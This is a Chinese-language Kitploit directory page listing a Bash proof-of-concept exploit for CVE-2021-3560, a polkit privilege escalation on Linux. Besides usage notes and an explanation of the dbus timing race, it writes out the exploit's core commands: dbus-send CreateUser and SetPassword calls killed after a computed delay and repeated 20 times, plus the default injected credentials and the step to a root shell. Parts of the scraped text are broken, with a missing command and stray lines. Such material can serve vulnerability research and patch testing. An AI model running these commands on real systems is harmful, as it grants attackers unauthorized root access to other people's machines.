Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
权限提升漏洞分析漏洞利用渗透测试身份验证
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

针对CVE-2021-3560 polkit权限提升的自动化Bash PoC。利用dbus时序攻击注入sudo用户,并在易受攻击的Linux发行版上获取root shell。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
1245133年前Kitploit 审核通过

CVE-2021-3560-Polkit-权限提升 PoC

原创研究:Kevin Backhouse

这只是一个Bash PoC脚本,自动化了Kevin Backhouse博客中提到的利用步骤。 阅读他关于此漏洞的文章:https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

用法

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

注意事项:

  • 此利用仅适用于已安装 accountsservice 和 gnome-control-center 且 polkit 版本为 0.113(或更高版本)或 0-105-26(Debian 对 polkit 的分支)的发行版。
  • 此利用已在 Ubuntu 20.04(polkit 版本 0-105-26,Debian 分支)和 Centos 8(polkit 版本 0.115)上测试通过。如果你确定目标存在漏洞,但利用的检查功能失败,请使用 -f=y 标志跳过所有检查并强制利用。
  • 经发现,RHEL 8、Fedora 21、Debian testing("bullseye")和 Ubuntu 20.04 等发行版存在漏洞。
  • 发行版兼容性列表可在 Kevin 的博客中找到。
  • 此脚本会在 sudo 组中注入一个新用户。如果利用成功,我们可以使用 su - <username> 配合提供给脚本的密码登录该账户,然后输入 进入 root shell!

利用原理?

全面的解释和手动利用该漏洞的 PoC 已在研究者的博客中详细说明。

以下为此利用的简要说明:

  • 此攻击需要精确定时,并且我们必须通过 SSH(或某些命令行会话,其中无法打开图形应用程序)登录。
  • 攻击者可以通过发送 dbus 消息触发 polkit,但在 polkit 处理请求时突然关闭该请求,然后发送第二个请求,使用前一个请求的唯一总线标识符,以 UID 0(即 root)的身份执行请求。
  • 此漏洞存在于 polkit 中,因为它会将一个不再存在的总线标识符对应的连接视为来自 UID 0 的请求。这意味着,如果我们可以正确把握攻击时机,在合适的时刻终止第一个请求,那么就可以以 UID 0(即 root)的权限发送第二个请求。
  • 终止连接的时机计算为发送 dbus 消息所需时间的一半。详细说明见此处。

这个脚本实际做了什么?

如前所述,这只是一个自动化 Kevin Backhouse 的 PoC 的 bash 脚本。核心命令相同;我只是自动化了一些初始步骤(例如正确计算时间、扫描漏洞、自定义凭据注入、打印彩色输出等)。

如果未带任何参数运行此脚本,其默认行为如下:

  • 检查发行版类型。[使用 /etc/os-release 文件]
  • 检查是否安装了 accountservice 和 gnome-control-center。[在 rhel/centos/fedora 中使用 rpm -qa,在 debian/ubuntu 发行版中使用 dpkg -l]
  • 如果发现已安装,则检查 polkit 版本。[rhel/centos/fedora 要求 0.113 或更高版本;Debian/Ubuntu 要求 0-105-26]
  • 如果 polkit 版本被判定为存在漏洞,则脚本开始利用。
  • 首先,脚本通过执行 bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null 找出使用 dbus-send 发送请求所需的时间。
  • 然后,通过将请求所需时间除以 2 来计算终止请求的时间($t)。()[使用 awk 计算]
下载工具
sudo bash
  • 由于此攻击依赖于精确定时,通常需要多次尝试才能成功。
  • 警告:不要在图形登录环境下运行此脚本!
  • 如果在图形登录环境下运行,循环会不断弹出 polkit 认证对话框。因此,请仅在 SSH/NC shell 中运行此利用。
  • 如果发生这种情况,请按 Esc 键关闭认证提示,并快速按 Ctrl+C 终止脚本。
  • $t=time-required-to-request/2
  • 计算时间($t)后,重复 20 次向目标插入 $username(secnigma)的请求。 bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • 如果用户插入成功(通过 id secnigma 确认),则生成密码哈希(使用 bash openssl passwd -5 `echo -n $password` )。($password=secnigmaftw)
  • 然后重复 20 次执行密码哈希插入命令。 bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!